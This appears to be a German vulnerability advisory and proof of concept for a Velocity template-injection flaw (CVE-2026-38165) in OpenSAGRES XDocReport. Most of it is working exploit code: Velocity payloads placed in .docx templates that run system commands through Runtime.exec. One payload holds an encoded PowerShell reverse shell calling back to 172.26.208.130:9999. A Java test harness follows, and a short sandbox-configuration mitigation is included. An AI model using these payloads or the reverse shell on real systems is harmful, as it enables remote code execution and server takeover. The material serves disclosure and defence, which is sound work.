
CVE-2026-38165 (SSTI)
Überblick über die Schwachstelle
Server-Side Template Injection (SSTI) ist eine Web-Sicherheitslücke, die es Angreifern ermöglicht, bösartigen Code in Vorlagen (Templates) einzuschleusen, die von Content-Management-Systemen (CMS) und Web-Frameworks verwendet werden, um Remote-Angriffe durchzuführen, sensible Informationen zu extrahieren oder Systeme zu kompromittieren.
SSTI ist eine Variante der Injection-Schwachstellen (wie SQL Injection, XSS usw.), bei der Angreifer die Nutzung von Template-Engines ausnutzen, um Remote-Code einzuschleusen. Bei erfolgreicher SSTI-Attacke kann der Angreifer eigenen Code serverseitig ausführen, was es ihm ermöglicht, Remote-Angriffe durchzuführen, wie das Sammeln sensibler Informationen, das Durchführen von Systemeindringungen und den Zugriff auf unautorisierte Ressourcen.
SSTI-Schwachstellen treten häufig aufgrund der Verwendung unsicherer Template-Systeme oder einer fehlenden Überprüfung und Verarbeitung von Eingabeparametern vor der Einbindung in Vorlagen auf. Ein erfolgreicher SSTI-Angriff kann schwerwiegende Folgen haben und erhebliche Schäden für die betroffene Organisation verursachen.
Geschäftliche Auswirkungen
SSTI-Schwachstellen können mehrere schwerwiegende Konsequenzen haben, darunter:
Ausführung von Schadcode: Angreifer können die Schwachstelle nutzen, um Schadcode auf dem Server auszuführen, was Datendiebstahl, illegale Aktionen auf dem System oder sogar die vollständige Kontrolle über den Server ermöglicht.
Offenlegung sensibler Informationen: SSTI kann es Angreifern ermöglichen, Dateien auf dem Server zu lesen, zu ändern oder zu löschen. Wenn diese Dateien sensible Informationen wie Konten und Passwörter enthalten, können Angreifer diese leicht offenlegen.
Bedrohungs- oder Phishing-Angriffe auf Benutzer: Angreifer können SSTI nutzen, um Bedrohungs- oder Phishing-Angriffe durchzuführen, indem sie den Inhalt der Webseite ändern oder gefälschte benutzerdefinierte Schaltflächen hinzufügen. Wenn Benutzer auf diese Schaltflächen klicken, können Angreifer Benutzerdaten stehlen oder Malware auf deren Computern installieren.

fr.opensagres.xdocreport.template.velocity
Eine Server-Side Template Injection (SSTI)-Schwachstelle wurde in OpenSAGRES XDocReport bei der Verarbeitung von DOCX-Vorlagen mit der Velocity-Engine gefunden. Unter bestimmten Konfigurationen können manipulierte Vorlagen zu Remote Code Execution (RCE) führen.
Die Personalverwaltungswebsite erlaubt Benutzern das Hochladen von .docx-Dokumenten in das System. Während der Verarbeitung verwendet die Anwendung die Velocity-Template-Engine (in der Datei), um Inhalte zu rendern, ohne dass eine Kontroll- oder Filtermechanismen für die Eingabe vorhanden sind.
Diese Schwachstelle ermöglicht es Angreifern, bösartige Ausdrücke in die .docx-Datei (Vorlage) einzufügen, was zu Remote Code Execution (RCE) auf dem Server führt und zum Diebstahl von Informationen oder zur Übernahme des Systems ausgenutzt werden kann.
fr.opensagres.xdocreport.template.velocity — XDocReport (Versionen =< 2.1.0).
https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.velocity/src/main/java/fr/opensagres/xdocreport/template/velocity/internal/VelocityTemplateEngine.java

velocityEngine.evaluate(...) ist die Standard-Methode von Apache Velocity, um eine Vorlage aus einem Reader (oder einem String) unter Verwendung eines Contexts auszuwerten und in einen Writer zu schreiben. Sie führt die VTL-Syntax (Velocity Template Language) genauso aus wie Template.merge(...).
evaluate und Template.mergeevaluate: Parsen aus Reader/String → praktisch, wenn die Vorlage dynamisch/nicht vertrauenswürdig ist.
getTemplate(...).merge(...): Lädt eine Vorlage, die vom Resource Loader verarbeitet wurde (Caching, Kodierung usw.), und führt dann das Mergen durch. Hinsichtlich der Fähigkeit, VTL auszuführen, führen beide dieselben Ausdrücke aus; der Hauptunterschied liegt in der Quelle/Lademethode der Vorlage.
.docx-Datei mit folgendem Payload als Inhalt hoch:
#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("whoami"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result


#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("cmd /c dir d:"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result



#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("calc"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result


172.26.208.130
#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result

.docx-Datei wird an xdocreport zur Verarbeitung übergeben:

velocityEngineProperties.setProperty(
"runtime.introspector.uberspect",
"org.apache.velocity.util.introspection.SecureUberspector"
);
Die Klasse Apache Velocity SecureUberspector ist ein Sandbox-Introspector.
SecureUberspector blockiert:
velocityEngineProperties.setProperty(
"introspector.restrict.classes",
"java.lang.Class,
java.lang.ClassLoader,
java.lang.Process,
java.lang.Runtime,
java.lang.System,
java.lang.Thread"
);
velocityEngineProperties.setProperty(
"introspector.restrict.packages",
"java.lang.reflect"
);
Blockiert:
Main.java:package org.example;
import fr.opensagres.xdocreport.document.IXDocReport;
import fr.opensagres.xdocreport.document.registry.XDocReportRegistry;
import fr.opensagres.xdocreport.template.IContext;
import fr.opensagres.xdocreport.template.TemplateEngineKind;
import java.io.*;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
public class Main {
public static void main(String[] args) {
try {
// Eingabedatei mit Velocity-Ausdrücken lesen
File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx"); // Eingabedatei
InputStream input = new FileInputStream(docxTemplate);
// Vorlage mit Velocity laden
IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Velocity);
// Context erstellen – kann leer sein, wenn nur unabhängige Ausdrücke getestet werden
IContext context = report.createContext();
// In neue Datei ausgeben
OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
report.process(context, out);
System.out.println("✅ Datei result.docx erfolgreich erstellt.");
} catch (Exception e) {
System.err.println("❌ Fehler bei der Dateiverarbeitung:");
e.printStackTrace();
}
}
}
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>vcs1</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>18</maven.compiler.source>
<maven.compiler.target>18</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<!-- Template engine: FreeMarker -->
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
<version>2.1.0</version>
</dependency>
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.template.velocity</artifactId>
<version>2.1.0</version>
</dependency>
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
<version>2.0.3</version>
</dependency>
</dependencies>
</project>
report.process(context, out) – dies ist der Punkt, an dem die Vorlage gerendert / in eine Datei geschrieben wird.












